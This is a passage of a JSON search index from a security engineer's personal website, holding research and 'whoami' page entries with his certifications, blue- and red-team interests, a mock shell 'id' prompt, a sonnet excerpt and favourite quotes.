href=\"https://www.credly.com/users/panagis-sarantos/badges\"\u003eCredly\u003c/a\u003e.\u003c/p\u003e","title":"certs"},{"content":"Peer-reviewed work on machine learning for intrusion detection, plus bugs found and reported in the wild.\n","permalink":"https://p4n4s.com/research/","summary":"\u003cp\u003ePeer-reviewed work on machine learning for intrusion detection, plus bugs found and reported in the wild.\u003c/p\u003e","title":"research"},{"content":" 1 2 p4n4@sec:~$ id uid=1337(p4n4) gid=1337(hackers) groups=blue,red,research p4n4 Panagis Sarantos, a.k.a. p4n4. Security engineer who solves cyber challenges and competes whenever he has time always.\nblue: BTL1. EDR/XDR, SIEM engineering on the Elastic stack, incident response across a Windows fleet. red: OSCP+, OSWP, Hack The Box, the CWES path, and hunting bugs in WordPress plugins. research: machine learning for intrusion detection. Papers here. hardware: Flipper Zero, Meshtastic/LoRa, badge hacking. DEF CON 34: Blue Team Village CTF and badge hacking. Also into coding, cult games, and legendary characters whose originality left a legacy worth remembering.\n/etc/motd Enjoyed no sooner but despised straight;\nPast reason hunted, and no sooner had,\nPast reason hated, as a swallowed bait,\nOn purpose laid to make the taker mad;\nQuotes Everyone sees what you appear to be, few experience what you really are. -N.M. Those who have a \u0026ldquo;why\u0026rdquo; to leave, can bare almost any \u0026ldquo;how\u0026rdquo;. -F.N. There is nothing impossible to him who will try -A.t.G. ","permalink":"https://p4n4s.com/whoami/","summary":"\u003cfigure class=\"circle\"\u003e\n    \u003cimg loading=\"lazy\" src=\"olgierd-wall.jpg\" width=\"550\" height=\"350\"/\u003e \n\u003c/figure\u003e\n\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-console\" data-lang=\"console\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003ep4n4@sec:~$ id\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"go\"\u003euid=1337(p4n4) gid=1337(hackers) groups=blue,red,research\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"p4n4\"\u003ep4n4\u003c/h2\u003e\n\u003cp\u003ePanagis Sarantos, a.k.a. \u003cstrong\u003ep4n4\u003c/strong\u003e. Security engineer who solves cyber challenges and competes \u003cdel\u003ewhenever he has time\u003c/del\u003e \u003cstrong\u003ealways\u003c/strong\u003e.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eblue:\u003c/strong\u003e BTL1. EDR/XDR, SIEM engineering on the Elastic stack, incident response across a Windows fleet.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ered:\u003c/strong\u003e OSCP+, OSWP, Hack The Box, the CWES path, and hunting bugs in WordPress plugins.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eresearch:\u003c/strong\u003e machine learning for intrusion detection. Papers \u003ca href=\"/research/#papers\"\u003ehere\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ehardware:\u003c/strong\u003e Flipper Zero, Meshtastic/LoRa, badge hacking. DEF CON 34: Blue Team Village CTF and badge hacking.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAlso into coding, cult games, and legendary characters whose originality left a legacy worth remembering.\u003c/p\u003e","title":"whoami"}]